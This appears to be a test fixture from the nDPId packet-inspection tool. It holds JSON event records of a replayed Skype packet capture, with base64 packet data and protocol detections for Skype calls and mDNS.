+00426{"flow_id":226,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1644,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA008xAAEAGhObAqAEiQTffD8OynFri9dCWh7IvWoARECnbpgAAAQEICj4jnv8uudJY"} +00426{"flow_id":230,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1645,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282964,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OkFAAEAGHnLAqAEiQTffD8O2Abu4rlPFyHp2R4ARECyUEQAAAQEICj4jnv8uudPp"} +00426{"flow_id":227,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1646,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":283058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0WC1AAEAGySLAqAEiQAQXpsOznFablHVe59gF64ARECp3HQAAAQEICj4jnv9MP03d"} +00426{"flow_id":231,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1647,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":283058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA02e5AAEAGR2HAqAEiQAQXpsO3Abu4qWf9HBLMOoARECwF4QAAAQEICj4jnv9MP09y"} +00514{"flow_id":229,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1653,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":395667,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"0NQSxnP1PBXCt3IOCABFAABzrs5AAEAGQQTAqAEinTfrsMO1AbsGcnEY78av6oAZECxMtQAAAQEICj4jn21F6hY3sJ5M2vPvqN11yHQsLBYX78Fbyq3x3hepbRjJ8YnhMbQPilSaKG1RU\/yixUsT4fxcBNvK\/vN9qGK86WKCmteS"} +00466{"flow_id":228,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1654,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":395669,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQQMdAAEAGfgvAqAEib91KLsO0AbvHHCI2d3qYAIAZECyqAAAAAQEICj4jn21NhWcM7XBpLOel2RuchIud8UB4C3rjlSPUGdRd5JmqTw=="} +00409{"flow_id":235,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1659,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":715848,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAorjMAAEARSR7AqAEiwKgBAdMzFOcAFCBsAAEAADLdMt0AAA4Q"} +00449{"flow_id":236,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1660,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":717677,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYMAAEAB8QLAqAEBwKgBIgMDgJYAAAAARQAAKK4zAABAEUkewKgBIsCoAQHTMxTnABQgbAABAAAy3TLdAAAOEA=="} +00417{"flow_id":237,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1661,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":736415,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAoxMpAAPUGyvZbvth9wKgBIjA+w71YjgIPe47DnFAUJeUGIQAAAAAAAAAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1662,"source":"skype.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1431969713736,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":50110,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":238,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1662,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":736740,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAGB5AAEAGLJTAqAEiW77YfcO+MD4D6992AAAAALAC\/\/+KswAAAgQFtAEDAwUBAQgKPiOgwQAAAAAEAgAA"} +00426{"flow_id":238,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1665,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":779504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0e5xAAPUGFBlbvth9wKgBIjA+w7686z9CA+vfd4ASH\/6FhgAAAgQFoAEDAwQBAQQC"} +00410{"flow_id":238,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1666,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":779626,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoL3hAAEAGFVLAqAEiW77YfcO+MD4D6993vOs\/Q1AQIADGPwAA"} +00418{"flow_id":238,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1667,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":779738,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAtqZ1AAEAGmyfAqAEiW77YfcO+MD4D6993vOs\/Q1AYIACvLwAAFgMBAAA="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1669,"source":"skype.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"176.26.55.167","src_port":13021,"dst_port":63773,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":239,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1669,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":813443,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuRSsAAEARjAjAqAEisBo3pzLd+R0AGvy6nPQCqlUgKb9nOC7NdHVpaZsV"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1669,"source":"skype.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"176.26.55.167","src_port":13021,"dst_port":63773,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1670,"source":"skype.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.185.207.12","src_port":13021,"dst_port":45493,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":240,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1670,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":813503,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuxDQAAEAR2PrAqAEiTLnPDDLdsbUAGvt+nPYC2PYYRrvqRJzYx\/ENvQip"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1670,"source":"skype.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.185.207.12","src_port":13021,"dst_port":45493,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1671,"source":"skype.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"176.97.100.249","src_port":13021,"dst_port":26635,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":241,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1671,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":813568,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAu9OEAAEARrrjAqAEisGFk+TLdaAsAGvRlnPgCVJNAf7hukPL\/wXB1U06s"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1671,"source":"skype.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"176.97.100.249","src_port":13021,"dst_port":26635,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1672,"source":"skype.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.62.0.85","src_port":13021,"dst_port":33647,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":242,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1672,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":813568,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuQzIAAEARLjDAqAEiRz4AVTLdg28AGnA0nPoCdLBbJLLwvfiy++3Nr6hQ"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1672,"source":"skype.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.62.0.85","src_port":13021,"dst_port":33647,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1673,"source":"skype.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1431969713814,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00617{"flow_id":243,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1673,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":814754,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"PBXCt3IOxCwDBkn+CABFAADBLbUAAP8R6nbAqAFc4AAA+xTpFOkArSlHAAAAAAAEAAMAAAAAC19hZnBvdmVydGNwBF90Y3AFbG9jYWwAAAyAAQRfc21iwBgADIABBF9yZmLAGAAMgAEGX2FkaXNrwBgADIABwAwADAABAAAPvAAWE0x1Y2HigJlzIE1hY0Jvb2tQcm\/ADMAMAAwAAQAADA4AEA1MdWNh4oCZcyBpTWFjwAzAKAAMAAEAAAwOABANTHVjYeKAmXMgaU1hY8Ao"} +00592{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1673,"source":"skype.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1431969713814,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_afpovertcp._tcp.local"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1674,"source":"skype.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1431969713815,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c62c:3ff:fe06:49fe","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00650{"flow_id":244,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1674,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":815539,"pkt_caplen":227,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":227,"pkt_l4_len":173,"pkt":"MzMAAAD7xCwDBkn+ht1gAU9NAK0R\/\/6AAAAAAAAAxiwD\/\/4GSf7\/AgAAAAAAAAAAAAAAAAD7FOkU6QCtu5cAAAAAAAQAAwAAAAALX2FmcG92ZXJ0Y3AEX3RjcAVsb2NhbAAADIABBF9zbWLAGAAMgAEEX3JmYsAYAAyAAQZfYWRpc2vAGAAMgAHADAAMAAEAAA+8ABYTTHVjYeKAmXMgTWFjQm9va1Byb8AMwAwADAABAAAMDgAQDUx1Y2HigJlzIGlNYWPADMAoAAwAAQAADA4AEA1MdWNh4oCZcyBpTWFjwCg="} +00601{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1674,"source":"skype.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1431969713815,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c62c:3ff:fe06:49fe","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_afpovertcp._tcp.local"}} +00417{"flow_id":238,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1675,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":822833,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAot7tAADYGlwZbvth9wKgBIjA+w7686z9DA+vffFAQA6DimgAAAAAAAAAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1681,"source":"skype.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1431969713965,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.145","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":245,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1681,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":965184,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuO\/8AAEARXS3AqAEinTeCkTLdAbsAGqTTnQwCwP4SRbwMfSMDCWlEQOP1"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1681,"source":"skype.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1431969713965,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.145","src_port":13021,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1682,"source":"skype.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1431969713965,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.39","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":246,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1682,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":965185,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuUbAAAEARRubAqAEiQTffJzLdAbsAGjQZnQ4ChKdksriBAZEnlRRV2r4X"} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1682,"source":"skype.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1431969713965,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.39","src_port":13021,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00417{"flow_id":238,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1690,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":165130,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAoe6BAAPUGFCFbvth9wKgBIjA+w7686z9DA+vffFAUJeXAUQAAAAAAAAAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1691,"source":"skype.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1431969714165,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":50111,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":247,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1691,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":165437,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXlBAAEAG5mHAqAEiW77YfcO\/AbtO2k10AAAAALAC\/\/\/+rQAAAgQFtAEDAwUBAQgKPiOiXAAAAAAEAgAA"} +00426{"flow_id":247,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1695,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":207763,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0n3BAAPUG8ERbvth9wKgBIgG7w79kPKOqTtpNdYASH\/7vYgAAAgQFoAEDAwQBAQQC"} +00410{"flow_id":247,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1696,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":207840,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAofgBAAEAGxsnAqAEiW77YfcO\/AbtO2k11ZDyjq1AQIAAwHAAA"} +00418{"flow_id":247,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1697,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":207954,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAtbvxAAEAG1cjAqAEiW77YfcO\/AbtO2k11ZDyjq1AYIAAZDAAAFgMBAAA="} +00417{"flow_id":247,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1698,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":250589,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAohDNAADYGyo5bvth9wKgBIgG7w79kPKOrTtpNelAQA6BMdwAAAAAAAAAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1703,"source":"skype.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1431969714398,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.167.161.6","src_port":50112,"dst_port":20274,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":248,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1703,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":398039,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAMR1AAEAGWiPAqAEiTKehBsPATzJsmy7uAAAAALAC\/\/\/3pQAAAgQFtAEDAwUBAQgKPiOjPwAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1704,"source":"skype.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1431969714398,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.238.7.203","src_port":50113,"dst_port":18767,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":249,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1704,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969714,"pkt_ts_usec":398234,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAtnFAAEAGcsPAqAEiR+4Hy8PBSU++p132AAAAALAC\/\/8aaAAAAgQFtAEDAwUBAQgKPiOjPwAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1705,"source":"skype.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":1431969714398,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"5.248.186.221","src_port":50114,"dst_port":31010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 